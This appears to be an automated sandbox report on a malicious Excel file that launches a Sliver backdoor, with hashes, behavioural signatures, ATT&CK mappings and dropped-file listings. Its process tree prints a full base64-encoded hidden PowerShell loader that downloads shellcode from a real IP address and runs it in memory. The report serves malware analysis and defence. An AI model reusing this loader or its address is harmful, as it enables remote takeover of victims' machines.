sliver | dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578

General

Target

dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls
Size

46KB
MD5

a26cd351baea6159ea1979a56dad21db
SHA1

83ef2c3be02025d90d4d443cf3fe1fc84277fcb2
SHA256

dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578
SHA512

f42fe4fc3e7be31638c602ced0c9611a4f182f9f5bad82234d0df9872a58db5fd6980855237ca6078eabf90a6e2208f945d94442619a54fd7577d25c05700eb2
SSDEEP

768:D4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:ESFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3924	1516	powershell.exe	82

Sliver RAT v2 6 IoCs

resource	yara_rule
behavioral2/memory/3924-62-0x000001E3FB440000-0x000001E3FBEBE000-memory.dmp	SliverRAT_v2
behavioral2/memory/3924-65-0x000001E3FC940000-0x000001E3FD426000-memory.dmp	SliverRAT_v2
behavioral2/memory/3924-66-0x000001E3FC940000-0x000001E3FD426000-memory.dmp	SliverRAT_v2
behavioral2/memory/3924-64-0x000001E3FC940000-0x000001E3FD426000-memory.dmp	SliverRAT_v2
behavioral2/memory/3924-63-0x000001E3FC940000-0x000001E3FD426000-memory.dmp	SliverRAT_v2
behavioral2/memory/3924-76-0x000001E3FC940000-0x000001E3FD426000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 32 IoCs

flow	pid	Process
23	3924	powershell.exe
26	3924	powershell.exe
31	3924	powershell.exe
35	3924	powershell.exe
36	3924	powershell.exe
39	3924	powershell.exe
40	3924	powershell.exe
42	3924	powershell.exe
43	3924	powershell.exe
44	3924	powershell.exe
45	3924	powershell.exe
47	3924	powershell.exe
49	3924	powershell.exe
61	3924	powershell.exe
62	3924	powershell.exe
63	3924	powershell.exe
75	3924	powershell.exe
76	3924	powershell.exe
77	3924	powershell.exe
78	3924	powershell.exe
79	3924	powershell.exe
80	3924	powershell.exe
81	3924	powershell.exe
82	3924	powershell.exe
83	3924	powershell.exe
84	3924	powershell.exe
85	3924	powershell.exe
86	3924	powershell.exe
87	3924	powershell.exe
88	3924	powershell.exe
89	3924	powershell.exe
90	3924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1516	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE
1516	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 3924	1516	EXCEL.EXE	86
PID 1516 wrote to memory of 3924	1516	EXCEL.EXE	86
PID 3924 wrote to memory of 1256	3924	powershell.exe	89
PID 3924 wrote to memory of 1256	3924	powershell.exe	89
PID 1256 wrote to memory of 3452	1256	csc.exe	90
PID 1256 wrote to memory of 3452	1256	csc.exe	90

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0732351781aec6aa0c00e14c96d285ce457c9f541670d506f5d8f43918e578.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\phphutyt\phphutyt.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7D3E.tmp" "c:\Users\Admin\AppData\Local\Temp\phphutyt\CSC2A904C096FD447478D207CE19AE7F1.TMP"
      4⤵
      PID:3452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES7D3E.tmp

Filesize
1KB

MD5
7778d4e820e391232ea60fa3873fdd89

SHA1
fd3b5d53047bf4c1a5f16560ebc41d66a6ff13d6

SHA256
b5cdf462a9a28fc0b065c10f5451c926eecf128532d99fd436e4f9664b5964de

SHA512
d4fbbb0faa605335ebd640fa6e12adb337e05d97e43a52ad57409514cf7cb10b95f1efe542a2d687534444cba9b94b210ed845680a7bd87b4008b477303aa231

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqwjavry.nki.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\phphutyt\phphutyt.dll

Filesize
3KB

MD5
856cf077c25c603f01aeb7dadd5f753e

SHA1
ce9d50265de193cdde5ec84d25bc2819dc5b8ed2

SHA256
a8c38cd2026cdc21d43e8c1ae6fe2bf36c8c42b5ef1149b2717933d656454cf8

SHA512
9962dcd4d55abac42bfaa94beaf867b2c205987e6c8906988c81cd2cee7471c5aafb7163743c3c8fe52598f764f49a0fc88ed9b2bbb0b57984b175816baa0aa9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
b7039431a29d664ae0a6e28d2a030a7a

SHA1
b8c9192498057085b130146ea17775b3baf32dbf

SHA256
d860cc29eceb19347215999a95032a3cf5d4cbc8b7cf95059f6ea8d44dd25c64

SHA512
3794a5bc89a56f7168caea9b9ba95fbda1ad56714d3e3dc69659c794aa738df0519d68812564dda50e819c97887546c65a76791205b042f1df17f4bbc8536d4d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\phphutyt\CSC2A904C096FD447478D207CE19AE7F1.TMP

Filesize
652B

MD5
7b9a81e634a234ab28f3b53fcb3526f1

SHA1
7a627ae55d53dc0ea53677e93cf2fda70dfe0fed

SHA256
06a87569b6882f9308573fc517204028ae2d4b1bd82d3c7bad321b141ed0cd12

SHA512
00e36f5f09d80dff7f027345a13c16edb303fb27333ad32c6208db61a3e5182a44a63cfec4b66abaaf7ad0ebd1d9d2ff954b18d4fa023d61e2116aa60ed6c0b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\phphutyt\phphutyt.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\phphutyt\phphutyt.cmdline

Filesize
369B

MD5
3e174c33287fbd83920a12442c4d0a4d

SHA1
cd0ffea739bfc65ed49524a86e2af800e40a2fb3

SHA256
4aafc0e3444dfa58b4a5ae2fdbdd52ceb742b9f2dc4f16310dbd116a698b60f1

SHA512
5052d3205b006f65f5911e6053619f03f0dd1dc4e13393dad19944a5aaf59dcb9a0729ac42ac51fad9ac236c861d74fc1d1c1f35723dbcd7cfae0d4fa0356b4f

Download Submit
memory/1516-11-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-60-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-4-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1516-9-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-12-0x00007FF844410000-0x00007FF844420000-memory.dmp

Filesize
64KB

Download
memory/1516-8-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-13-0x00007FF844410000-0x00007FF844420000-memory.dmp

Filesize
64KB

Download
memory/1516-14-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-17-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-16-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-18-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-15-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-28-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-27-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-5-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-3-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1516-6-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-7-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1516-2-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1516-0-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1516-1-0x00007FF88648D000-0x00007FF88648E000-memory.dmp

Filesize
4KB

Download
memory/1516-67-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-10-0x00007FF8863F0000-0x00007FF8865E5000-memory.dmp

Filesize
2.0MB

Download
memory/1516-61-0x00007FF88648D000-0x00007FF88648E000-memory.dmp

Filesize
4KB

Download
memory/3924-62-0x000001E3FB440000-0x000001E3FBEBE000-memory.dmp

Filesize
10.5MB

Download
memory/3924-65-0x000001E3FC940000-0x000001E3FD426000-memory.dmp

Filesize
10.9MB

Download
memory/3924-66-0x000001E3FC940000-0x000001E3FD426000-memory.dmp

Filesize
10.9MB

Download
memory/3924-64-0x000001E3FC940000-0x000001E3FD426000-memory.dmp

Filesize
10.9MB

Download
memory/3924-63-0x000001E3FC940000-0x000001E3FD426000-memory.dmp

Filesize
10.9MB

Download
memory/3924-56-0x000001E3FAB20000-0x000001E3FAB28000-memory.dmp

Filesize
32KB

Download
memory/3924-36-0x000001E3FAB30000-0x000001E3FAB52000-memory.dmp

Filesize
136KB

Download
memory/3924-76-0x000001E3FC940000-0x000001E3FD426000-memory.dmp

Filesize
10.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads